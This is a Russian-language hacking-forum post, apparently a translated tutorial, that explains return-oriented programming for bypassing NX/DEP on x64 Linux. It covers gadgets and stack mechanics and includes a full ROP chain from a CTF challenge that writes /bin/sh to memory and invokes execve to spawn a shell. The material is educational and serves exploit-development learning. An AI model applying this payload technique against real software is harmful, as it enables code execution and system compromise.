• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN ROP эксплоиты

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
ROP расшифровывается как возвратно-ориентированное программирование. В основном он используется для устранения DEP/NX/W^X (предотвращение выполнения данных/запрет выполнения) в процессорах. Разные производители по-разному называют эту конкретную функцию, но идея состоит в том, чтобы пометить определенные области памяти (особенно стек и куча) как неисполняемые. Это приводит к тому, что попытки выполнить инструкции из областей, помеченных как невыполнимые, вызывают исключение (SEGFAULT). Это защищает от общих атак переполнения буфера, которые обычно включают в себя запись некоторого шелл-кода в память (обычно в стек) и перезапись сохраненного указателя возврата или какой-либо другой способ перейти к шелл-коду и выполнить его. Поскольку стек помечен как неисполняемый, шелл-код не выполняется и возникает SEGFAULT.

Формат ELF имеет поле, которое указывает, должен ли стек быть помечен как исполняемый или нет ( -z execstack флаг в gcc отключает NX, делая стек исполняемым). Таким образом, считается, что бит NX установлен.

Биты NX установлены:

1686471419178.png


Бит NX не установлен:

1686471442428.png


Двоичный файл с установленным битом NX имеет свой стек и кучу, помеченные как rw-, что означает чтение, запись и не выполнение. В то время как двоичный файл без бита NX имеет стек и кучу, помеченные как rwx, что означает чтение, запись и выполнение. Ваш шелл-код не должен иметь проблем с выполнением здесь!

Использование ROP для обхода средств защиты

Поскольку мы не можем выполнять инструкции из стека/кучи, когда NX включен, мы пытаемся выбрать инструкции, необходимые для достижения нашей цели (обычно для получения оболочки) из бинарного файла или любой из библиотек, которые использует бинарный файл. Эти инструкции являются частью исполняемой памяти программы и должны выполняться нормально.

Общая идея эксплойтов ROP исходит из специфичной для Linux техники эксплуатации, известной как ret2libc(возврат к libc). В этом методе методе, обычно использующем переполнение буфера, сохраненный указатель возврата перезаписывается, чтобы передать выполнение какой-либо функции, присутствующей в libc, например, system() с аргументом /bin/sh для получения оболочки.

ROP-гаджеты

Гаджеты ROP представляют собой небольшие наборы инструкций, которые обычно заканчиваются инструкцией ret. Эти гаджеты объединяются в цепочки ROP. После выполнения гаджет возвращается к следующему гаджету в цепочке. Причина, по которой этот метод называется возвратно-ориентированным программированием, теперь должна быть понятна!

1686471480492.png


Используйте удобный ropper инструмент прямо из GDB (еще одна функция, предоставляемая GEF , проверьте ее, это потрясающе!), чтобы найти ROP-гаджеты.

Именно из-за этого гаджета появилось название этого блога, а также мой псевдоним. Это выталиквает то, на что в данный момент указывает указатель стека, в регистр RDI, который в соответствии с соглашением о вызовах x64 содержит первый аргумент для вызова функции/системного вызова.

1686471498073.png


1686471504745.png


1686471512353.png


С помощью гаджетов, доступных в бинарном виде, можно делать много творческих вещей.

Вот что интересно о гаджетах: они могут означать разные вещи, когда к ним обращаются с разных смещений!

Пример:

1686471522342.png


Рассмотрим гаджет на 0x0000000000401b73. Глядя на код операции в этом месте:

1686471529998.png


Код операции 5F C3в x64 переводится как:

1686471536719.png


Возвратимся на один байт:

1686471543608.png


Теперь код операции 41 5F C3в x64 переводится как:

1686471586561.png


Таким образом, в зависимости от смещения, с которого мы обращаемся к инструкциям, они могут означать разные вещи. Это делает широкий спектр гаджетов доступным для нас для выполнения различных задач. Вот GDB, подтверждающий то же самое:

1686471550369.png



Цепи ROP

Общая идея цепочки ROP состоит в том, чтобы передать выполнение в начало цепочки, а затем гаджеты, поскольку они заканчиваются инструкцией ret, возвращаются к следующей инструкции в цепочке.

Важно понимать пролог и эпилог функции, чтобы полностью понять работу эксплойта ROP.

Пролог функции

Пролог функции — это несколько строк кода, выполняемых перед выполнением вызываемой функции, чтобы подготовить стек и регистры для использования внутри функции. Обычно это происходит примерно так:

1686471602222.png


Эпилог функции

Эпилог функции отменяет все действия эпилога функции и возвращает управление вызываемой функции. Типичный эпилог выглядит так:

1686471612335.png


Инструкция возврата эквивалентна pop eip.

Это цепочка ROP для получения оболочки через execve() системный вызов из старого CTF, над которым я работал:

#### GADGETS ####

# 0x0000000000415664: pop rax; ret;
pop_rax = 0x0000000000415664
# 0x0000000000400686: pop rdi; ret;
pop_rdi = 0x0000000000400686
# 0x00000000004101f3: pop rsi; ret;
pop_rsi = 0x00000000004101f3
# 0x000000000044be16: pop rdx; ret;
pop_rdx = 0x000000000044be16
# 0x000000000048d251: mov qword ptr [rax], rdx; ret;
mov_rax = 0x000000000048d251
# 0x000000000040129c: syscall;
syscall = 0x000000000040129c

#### ROP CHAIN ####

# write /bin/sh to memory
# pop address for the /bin/sh string
# into rax
payload += p64(pop_rax)
payload += p64(0x6bb5e0)
# pop string into rdx
payload += p64(pop_rdx)
# /bin/sh string, null terminated, in hex
# little endian
payload += p64(0x0068732f6e69622f)
# mov string to location pointed to by rax
payload += p64(mov_rax)

# execve syscall
# pop syscall number 0x3B into rax
payload += p64(pop_rax)
payload += p64(0x3B)
# pop address of string into rdi
payload += p64(pop_rdi)
payload += p64(0x6bb5e0)
# pop 0x00 into rsi
payload += p64(pop_rsi)
payload += p64(0x00)
# pop 0x00 into rdx
payload += p64(pop_rdx)
payload += p64(0x00)
# syscall
payload += p64(syscall)

Эта часть записывает строку /bin/sh в память. Расположение 0x6bb5e0в разделе bss казалось довольно безопасным для записи строки. Сохраненный указатель возврата перезаписывается с началом цепочки ROP:

1686471660637.png


Непосредственно перед возвратом из подпрограммы RSP указывает на начало цепочки ROP (перезаписанный сохраненный указатель возврата).

1686471675035.png


Значение, указанное RSP, выталкивается в RIP при выполнении ret, а RSP уменьшается на 8.

1686471686342.png


При выполнении pop rax, на которое указывает RSP, помещается в RAX, а RSP уменьшается на 8.

1686471694348.png


При выполнении ret из гаджета pop rax адрес следующего гаджета, на который в данный момент указывает RSP, вставляется в RIP, и выполнение продолжается оттуда. RSP уменьшается на 8. Инструкция ret является важной частью.

1686471757970.png


Продолжая, строка /bin/sh вставляется в регистр RDX, и mov_rax гаджет перемещает qword из регистра RDX в место, на которое указывает регистр RAX. Теперь, когда у нас есть строка в памяти, нам просто нужно вызвать системный вызов, чтобы получить нашу оболочку.

В архитектуре x86-64 номер системного вызова находится в регистре RAX, а аргументы — в RDI, RSI, RDX, R10 и т. д. Проверьте справочную страницу системного вызова для получения полной информации. Номер системного вызова для execve 59 или 0x3B в шестнадцатеричном формате. Вставляем это в RAX:

1686471767284.png


Первый аргумент — это указатель на строку /bin/sh в памяти, которую мы вставляем в RDI:

1686471774155.png


Следующие два аргумента равны нулю и, таким образом, выталкивают нулевые байты в регистры RSI и RDX.

1686471781141.png


Наконец, системный вызов:

1686471788208.png


Мы достигли цели получить оболочку только с инструкциями, доступными в исполняемой памяти программы, таким образом, победив NX mitigation.

Примеры
Я буду размещать здесь ссылки на интересные описания испытаний CTF, в которых используется ROP, по мере их публикации.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх